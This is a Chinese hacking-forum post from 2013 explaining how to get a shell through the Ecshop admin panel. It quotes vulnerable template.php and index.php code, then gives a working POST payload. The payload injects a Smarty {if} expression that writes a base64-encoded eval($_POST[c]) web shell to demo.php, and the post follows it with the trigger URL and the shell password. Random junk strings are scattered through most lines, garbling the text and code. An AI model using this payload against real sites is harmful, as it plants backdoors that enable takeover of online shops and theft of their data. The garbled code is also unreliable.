找回密码
 立即注册
查看: 3233|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板5 D, r# |3 t  W# |: e
; G( \) }- M8 O0 t
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了( ]- _# e; G% r
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
4 q; y: ^8 R% s  Uadmin/template.php$ b- G# u% Z* t" _0 Y! u7 i

/ ]% m* }) V  S- B* J9 P1 if ($_REQUEST['act'] == 'update_library')
" q) G( w) G# b  @! W  n& S- @& k0 H; k& R2 @
2   
; @" I2 [# s3 U5 H6 T6 w) w; \; l: k3 a8 y) x( J
3 {
2 o+ J' [5 R9 ]- v9 S% z+ l" Z- g: c9 y5 d$ v: W8 n3 G+ d- r
4     check_authz_json('library_manage');
$ [8 ]5 O! h+ c; Z" z1 @' D& x6 K% |- o9 v
5   5 s' ?, W" G: k1 T

, e* c$ h+ D( }/ b2 A# q$ S" B6     $html = stripslashes(json_str_iconv($_POST['html']));
. ~" I! r7 c3 P5 V' E* C
; z3 v) G; ], V3 X7   % T& V* Y" g9 l1 Y+ d
- P: f3 Z% \6 N1 |4 c$ }
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 I& W* \: u: ]/ K! ?
9 Z& O: a# p2 u1 ]& x" M0 O
9   
: @: Z, r, t, E" T& O6 ^% V6 A( h: _. E2 c3 [
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
( {. A" c) Z% d# u  O
, Z. d4 M# y! L1 \8 Y11   
& U, {" R2 l) P% t5 h
, _8 `0 S" R3 y12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) L' j4 p" P8 J. g( w1 ~% B' u0 g3 u+ m% P. U) X+ e
13   
: j. ]2 r* e+ `) [8 M4 M* N& Q" ^, D; ]+ _0 t# B6 F
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 8 F2 `8 v2 o% V6 @+ c$ s( D
% N& F7 l9 V+ A' j. q& g4 |
15     { ! i' E0 C  _( A. ~  K+ S, ~& n8 \

1 d" r8 r1 \: o6 f0 s; d! I16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 5 g4 O5 G' w/ a2 W# n

3 h1 ^# W! K6 K17         make_json_result('', $_LANG['update_lib_success']);   Q/ J8 L5 @! k, x9 G9 _/ V* ?5 E
' [7 h2 T8 e% b7 f* }# [9 F% t" _
18     }
& K9 d3 U* k% }/ F* Q& s+ i
- K/ m& ~, T' H% h: h. v' m19     else + z1 C% c: I1 [) J' O
1 M/ P  p" K0 q2 b" [* g( c( W
20     {
7 I8 y2 c1 m5 `5 Y% x: m3 W/ t" p
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); * K8 W9 k* Q5 y; |/ _. v

* w1 v/ F! z7 x- V9 m$ _22     } ! R" Z: {' E6 _1 F( [0 G# R
2 j* A; S4 w% Q& v$ O7 M
23 } 1 \: v( L: n% R3 o+ \& a  C5 \- q9 M% n

5 n. \( t, ?. p. K, S$ `& v那么找个比较方便调用了模板的文件  d5 _! E1 E5 H3 w
index.php. `# c4 M. I+ q2 C# f

' y. n8 k1 [% O- {0 H" O) J; ?1 if ($act == 'cat_rec')
3 F0 }. P! @' R8 K% [6 o% ~" Z0 r8 R0 t- p, E5 e8 k# o
2   ; F/ q8 ~, K8 v

4 Y+ l  ^- _3 j" H5 _/ k0 D3 { / s4 ~5 q! `, C4 g! S

# r3 [% W8 h- s" N8 c- P, m& Q4   * _+ o4 m; [* K

# C& K4 _$ x, ~- }: D5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
. \, Z. A) {: R4 ^  w4 b  M2 n* U( W4 j# U8 y
6   ( S& V" X4 D! l  E% r6 w3 v
+ U- q$ n6 e  j1 ]! W. L. R+ b% }
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* t7 l8 l% v! {3 r$ K/ h; I5 S( Q2 r& R# X6 l& H2 C, _* ]6 h/ s2 n
8   : e0 T; K& K! u/ A  G
5 ]0 c0 Q& W, k% x% y
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; " F! h: S, @# a8 Y

2 i2 M) V9 D% b4 C* B10   
: i7 D' V' S9 z3 A( [. i6 i
4 p4 @2 s$ k/ V11     include_once('includes/cls_json.php');
  b; V) Q& N( Z, \- _: Y  G- O$ G4 K+ ?% N6 X
12   5 ]$ P7 `% L# e2 N- D9 K% y

# T2 k# `6 x( A6 L13     $json = new JSON;
. u5 }+ N5 E. T  ?' t
: Y0 E$ H1 X1 u+ j2 t4 y14   
! B( r* b2 O& p$ [+ k0 N
0 m9 W" ^% {: l0 A4 z+ ~$ u. P5 v15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
  u1 R+ @9 b. _4 p: }  |
% g$ S% Q- e1 k, H: a9 ]) k7 y16   * X$ |, v; ?" a9 V" D2 f( ?

5 B! N; R; m" v1 t/ @17     $children = get_children($cat_id);
% n( B5 X- `; Z* c% x
9 p9 o- L1 S- x  s8 x) K" w+ s* h8 U  S18   
* t! V' c' ?0 n( N4 m: t
" r/ G. y/ |. q) z19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 ' p( D5 X! y4 f; f
8 ]+ b; ?2 X$ j4 U* R
20   ; F3 c1 C4 g& {

9 k1 f; y& q1 ^. ~1 q. m+ Q21     $smarty->assign('cat_rec_sign', 1);
: D9 @% W  v( W; D, u0 U0 a
, r. ~  e* i% c" P$ y22   . `2 u/ x1 m! z
' T9 [0 ^" U8 g7 I1 h0 D4 H
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
/ V$ z8 E. c+ ~% T+ z! s, @3 N4 E' [( i& `* e5 `
24   / x' p# b8 Q( P2 n) J4 g% h% X  y, ?
/ u3 _/ c' {  I. O' D
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
- m7 @5 Y& T, S+ t6 P
: \; `  p9 Q3 k* w1 L( u26   
9 ]0 [$ P3 k& J+ K( m3 @+ O+ E5 L' i8 P& Y$ `6 M( g" ~! n
27         echo $rec_array[$rec_type];
4 U  a. v( z; `6 V) ]1 L' J* _4 q3 w6 v0 x  v! \
28   6 U# |" W" k5 i! \) {

2 ~: j" I: M/ J; V/ }29     die($json->encode($result));   z0 {3 X/ \7 w  O$ U" K. M+ C9 r$ e/ m

7 \/ Q1 b( z/ _6 C30   # D$ w4 m# z7 X1 q6 Z" a

# Z$ F# K$ X$ \% H31 } 6 p- h$ f# ?/ y' N* ^
' E% I3 s: x. q
那么就有利用方法了
# d# g5 d7 o& _8 s, G% ]post包到http://localhost/ec/admin/template.php?act=update_library
& L* n. x8 }* `  p" S# l7 ?Post内容:
- D- d" V( z/ d- Y( }) j2 Q* {+ B# w" n+ Q1 u# R7 u

4 e8 \/ U0 u9 V- ~& c$ Y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
% d' b2 _/ I, ?2 d+ ^8 R) q7 v! O- r" x6 _. M' ~
然后访问http://localhost/ec/index.php?act=cat_rec
5 b8 G; u& ^) p: N" C6 }6 x6 |0 q% w% h
shel地址:http://localhost/ec/demo.php
8 j3 @# q0 a4 V8 C+ A" c密码c
* I( |2 z4 x" m) L7 @
+ f* E# s8 U  B, \) ?% u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表